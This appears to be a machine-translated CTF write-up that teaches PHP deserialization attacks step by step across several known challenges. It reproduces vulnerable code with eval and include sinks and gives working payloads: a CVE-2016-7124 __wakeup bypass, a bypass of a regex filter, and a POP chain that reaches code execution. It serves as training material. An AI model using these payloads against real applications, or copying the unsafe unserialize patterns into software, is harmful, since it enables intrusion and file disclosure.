CTF_Web: deserialization details CTF classic test questions from shallow to deep

0x00 deserialization problem in CTF

In this kind of problems, we mainly use deserialization to bypass or call various magic methods, so as to construct qualified serialized strings and complete specific functions. At this point, we should be very clear about the execution process of the whole code segment. Let's start with the simplest.

0x01 attack and defense world unserialize3

The source code of the title is:

class xctf{ 
	public $flag = '111';
	public function __wakeup(){
	exit('bad requests');
}
?code=

Here we can see that there is only one magic method, and__ The wakeup () magic method is to check the executed function before deserialization, that is, whatever is passed in will be executed first__ Wakeup () method, but here for__ There is a CVE vulnerability in wakeup() method, CVE-2016-7124. When the number of parameters in the incoming serialization string is different from the actual number of parameters when deserializing the object, execution will be skipped, that is, there is only one parameter $flag in the current function. If the number of parameters in the incoming serialization string is 2, it can be bypassed.
As follows:

<?php
class xctf{ 
	public $flag = '111';
}
$a = new xctf();
echo serialize($a);

The result O:4:"xctf":1:{s:4:"flag";s:3:"111";}, Modify parameter 1 in class xctf to 2, submit code and get flag.

0x02 attack and defense World Web_php_unserialize

The title source code is:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

Here is a code audit first. The code part is relatively simple. The boss must know at a glance that it only needs to bypass preg_match regular sum__ The wakeup function is OK, because here, weakup will replace the file in the string to be deserialized with index, so it will return to the current page.
The first is regular bypass: / [oc]:\d+:/i
This regular section means to match all strings starting with O, C, O and C, plus colon:, plus number and colon:, ignoring case, that is, the matching at the beginning of o:4: serialized string. The reason why + 4 is used here is that it bypasses the regular condition here and will not change the value after o, because + 4 is the same as 4 and will not affect the result of deserialization.
The second is wakeup. Wakeup only needs to change the number of object attributes 1 of the serialized string to another number. However, note that the file type here is private, so the printed string has the invisible character% 00. Do not copy your own base, otherwise the result will be different.
O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

$a= new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace("O:4","O:+4",$b);
$b = str_replace(":1:",":2:",$b);
echo base64_encode($b);

The final result is: index php? var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

0x03 XMAN2017 unserialize

Access topic prompt get pass reference code

So try passing in 1 and get a prompt
hint: flag.php
Access to get the next prompt:

Visit help PHP, get part of the source code:

After sorting the code, we get:

<?php
class FileClass
{ 
public $filename = 'error.log'; 
public function __toString(){ 
return file_get_contents($this->filename); 
	} 
} 

In other words, this is a topic of triggering Tostring. In the previous knowledge, we also mentioned that this function is triggered when the object is treated as a string. It is generally used when printing functions such as echo. It is used here first

$a = new FileClass();
echo serialize($a);

Pass it to code for testing, and find that it returns:

In other words, after each serialization, the Tostring function is triggered to return the contents of the file, but there is no error or log, so we replace the contents with flag PHP.
Incoming? code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";} Check the source code and get the flag.

0x04 pop chain construction

The following part of the code comes from F12sec by spaceman . Thanks for sharing. Let's learn the implementation process of deserialization through several examples

<?php
highlight_file(__FILE__);
class pop {
    public $ClassObj;
    function __construct() {
        $this->ClassObj = new hello();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class hello {
    function action() {
        echo "hello pop ";
    }
}
class shell {
    public $data;
    function action() {
        eval($this->data);
    }
}
$a = new pop();
@unserialize($_GET['s']);

In this code, you can easily see that the dangerous function is the action method in the shell class, and the first class pop will automatically create a new Hello class when it is created and call the action method of hello when it is destroyed. We only need to use the feature of automatic call when it is destroyed. Change the original execution process, specifically:
new pop --> new hello --> action(hello)
new pop --> new shell --> action(shell)
So the code above becomes

<?php
highlight_file(__FILE__);
class pop {
    public $ClassObj;
    function __construct() {
        $this->ClassObj = new shell();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class hello {
    function action() {
        echo "hello pop ";
    }
}
class shell {
    public $data ="phpinfo();" ;
    function action() {
        eval($this->data);
    }
}
$a = new pop();
echo serialize($a);

In this way, the change of execution process is completed. We put the final result O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}} If you pass it into s, you will get the interface after phpinfo is executed and complete the change of execution process.

0x05 MRCTF2020Ezpop

The title source code is:

<?php

class Modifier {
    protected  $var = "flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
		echo "__invoke";
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
		echo "__tostring";
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }

    public function __get($key){
		echo "__get";
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

The code here is relatively long, but we analyze them one by one, which are the knowledge points summarized before.

  • The first is the Modifier class:
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

Here we can see that there is only one magic method invoke. As we summarized earlier, the way to invoke invoke is to access the object as a function, so the posture used by the modifier class is:

$a = new Modifier();
$a();
  • The second is the show class:
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Here we can see that the magic methods are tosting and wakeup. tostring requires the object to be accessed in the form of string. In this class, echo is just used in construct during initialization; The wakeup here is as long as the value in the pass parameter Show does not contain the specified character.

  • The third is the Test class
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

Magic method in test class__ get will be called when we need to access a non-existent property, and will execute the value of p in our class as a function.
The posture used is:

$b = new Test();
$b->a;

Access the nonexistent attribute. Where does the attribute not exist? In the Show class, $this - > STR - > source called by tostring, but the Test class does not have the source attribute, then let the str attribute in the Show class become the object of the Test class.
In other words, it should be:

$a = new Show("123");
$a->str = new Test();

In fact, it's more clear here. It's like returning to the execution condition of the first class Modifier, which executes a value as a function. The ultimate goal is to use the include($value) in the Modifier class for the file you want to view; The function contains.
So the process is:
tostring in Show -- > accesses the source -- > in Test, but there is no source -- > in Test, so it is executed__ get Magic - > execute this - > P as a function. It can be seen here that this - > P should be the utilization point of the first class and should be the object of Modifier. To include the files you want to include.
The code is:

<?php

class Modifier {
    protected  $var = "flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
		echo "__invoke";
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
		echo "__tostring";
        return "556"; //Note that the original this - > STR - > source is changed here. If it is not changed, the method Show will be prompted in the second Show of new:__ toString() must return a string value 
    }

    public function __wakeup(){  //The source parameter passed in twice here does not contain regular content, so the filter function is not triggered.
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }

    public function __get($key){
		echo "__get";
        $function = $this->p;
        return $function();
    }
}
$a = new Show("afcc"); //It doesn't matter what you enter in this topic, and it won't affect the subsequent results
$a->str = new Test();
//echo $a; Here, you need to call Show again to output yourself before echo is established.
$c = new Show($a);
echo urlencode(serialize($c)); //urlencode here is to prevent protected objects from affecting the results.

Final input
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22afcc%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
That is, the serialized string. Note the% 00 before * var.

When this topic is finished, we look at it in reverse. In fact, the wakeup does not work, because the source in the Show class does not play any role for the last serialized string. Even if it is modified before deserialization, it will not affect the subsequent output. If you change him to

this->str = "index.php";

At this time, we need to consider how to bypass the problem.

0x06 summary

After learning deserialization these days, I found that the main knowledge points focus on the call timing of each magic method, the bypass of regular matching and the construction of pop chain. The learning is relatively slow and needs to be accumulated slowly.
pop chains are constructed first

  • Analyze whether each function has utilization points and how to use them, such as wakeup, get and other magic methods
  • Are they related? For example, the utilization condition of the first one is exactly the initialization content of the second one, and so on
  • Finally, we need to control the eval, include and other risk functions to use backward.

It still needs more practice to master it more deeply.

Keywords: PHP Web Development regex security Information Security

Added by kemper on Wed, 29 Dec 2021 21:49:17 +0200